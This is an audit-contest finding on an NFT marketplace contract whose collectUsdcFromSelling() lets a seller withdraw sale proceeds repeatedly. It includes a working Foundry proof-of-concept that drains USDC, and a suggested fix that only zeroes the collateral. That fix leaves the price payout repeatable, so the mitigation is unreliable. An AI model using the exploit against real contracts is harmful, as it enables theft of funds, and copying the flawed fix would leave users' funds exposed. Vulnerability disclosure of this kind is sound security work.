NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Missing Claim Flag in collectUsdcFromSelling() Allows Recurrent Fund Drain

Author Revealed upon completion

Root + Impact

Description

  • In the normal flow, after an NFT is sold, the seller should be able to collect their proceeds (sale price minus fees plus returned collateral) exactly once. The contract correctly marks the listing as inactive and transfers the NFT, but it fails to record that the seller has already claimed the funds.


  • The problem is that the collectUsdcFromSelling function does not update any state (like zeroing collateralForMinting or setting a “claimed” flag) after transferring the money. This allows the seller to call the function repeatedly for the same listing and withdraw the same amount each time until the contract’s USDC balance is exhausted.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId]; // @> state read
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> No state update to prevent re‑collection
}

Risk

Likelihood:High

  • Every seller can trigger this after their listing becomes inactive (i.e., after a successful sale).

  • The attack does not depend on any external condition – the function remains callable indefinitely once the listing is inactive.

Impact:High

  • An attacker can drain all USDC held by the contract, including funds belonging to other sellers and fees collected for the owner.

  • The contract’s economic model is broken; legitimate sellers may lose their collateral and proceeds.

Proof of Concept

The following test (written for Foundry) demonstrates the exploit: the same seller collects the payout twice after a single sale, effectively stealing funds that should belong to other users.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/NFTDealers.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockUSDC is ERC20 {
constructor() ERC20("Mock USDC", "USDC") {
_mint(msg.sender, 1_000_000 * 10**6);
}
function decimals() public view virtual override returns (uint8) {
return 6;
}
}
contract NFTDealersExploitTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
address public owner = address(0x123);
address public attacker = address(0x456);
address public attackerSecondWallet = address(0x789);
uint256 constant LOCK_AMOUNT = 20 * 10**6;
uint256 constant PRICE = 100 * 10**6;
function setUp() public {
vm.deal(owner, 1 ether);
vm.deal(attacker, 1 ether);
vm.deal(attackerSecondWallet, 1 ether);
usdc = new MockUSDC();
usdc.transfer(attacker, 1000 * 10**6);
usdc.transfer(attackerSecondWallet, 1000 * 10**6);
vm.startPrank(owner);
nftDealers = new NFTDealers(
owner,
address(usdc),
"Test Collection",
"TEST",
"https://example.com/",
LOCK_AMOUNT
);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
vm.stopPrank();
}
function testExploit() public {
// 1. Mint NFT
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
// 2. List NFT
vm.startPrank(attacker);
uint256 tokenId = 1;
nftDealers.list(tokenId, uint32(PRICE));
vm.stopPrank();
// 3. Buy from second wallet
vm.startPrank(attackerSecondWallet);
usdc.approve(address(nftDealers), PRICE);
uint256 listingId = 1;
nftDealers.buy(listingId);
vm.stopPrank();
// 4. First collect - should succeed
vm.startPrank(attacker);
uint256 expectedPerCall = 119 * 10**6; // 99 + 20
uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
nftDealers.collectUsdcFromSelling(listingId);
uint256 attackerBalanceAfterFirst = usdc.balanceOf(attacker);
assertEq(attackerBalanceAfterFirst - attackerBalanceBefore, expectedPerCall, "First collect amount mismatch");
// Check contract balance after first collect: should be 1 USDC (fees)
uint256 contractBalanceAfterFirst = usdc.balanceOf(address(nftDealers));
assertEq(contractBalanceAfterFirst, 1 * 10**6, "Contract should have 1 USDC left");
// Now add more funds to the contract to simulate other users' funds
vm.startPrank(attackerSecondWallet);
usdc.transfer(address(nftDealers), expectedPerCall);
vm.stopPrank();
// Second collect - should succeed again
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(listingId);
uint256 attackerBalanceAfterSecond = usdc.balanceOf(attacker);
assertEq(attackerBalanceAfterSecond - attackerBalanceAfterFirst, expectedPerCall, "Second collect amount mismatch");
vm.stopPrank();
// Now contract balance should be 1 again
uint256 contractBalanceAfterSecond = usdc.balanceOf(address(nftDealers));
assertEq(contractBalanceAfterSecond, 1 * 10**6, "Contract should have 1 USDC left again");
console.log("Exploit successful: attacker drained", expectedPerCall * 2, "USDC from the contract");
}
}

Recommended Mitigation

Update the function to clear the collateral and/or mark the listing as claimed. A simple fix is to zero collateralForMinting[listing.tokenId] before transferring, preventing further claims for the same token.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
+ // Prevent re-entrancy and double‑claim
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!